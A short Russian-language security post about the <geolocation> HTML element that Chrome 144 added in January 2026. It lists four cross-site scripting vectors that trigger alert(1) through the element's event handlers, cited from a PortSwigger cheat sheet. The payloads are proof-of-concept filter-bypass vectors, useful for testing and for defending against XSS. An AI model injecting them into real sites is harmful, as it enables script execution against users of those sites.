С января 2026 (Chrome 144+) в браузере официально появился декларативный элемент
<geolocation>.Он задумывался как удобная альтернатива
navigator.geolocation, чтобы запросы локации выглядели менее подозрительно и чаще получали разрешение от пользователя.Новые векторы уже в шпаргалке от PortSwigger:
<geolocation onvalidationstatuschange=alert(1)>
<geolocation autolocate onlocation=alert(1)>
<geolocation onpromptdismiss=alert(1)>
<geolocation onpromptaction=alert(1)>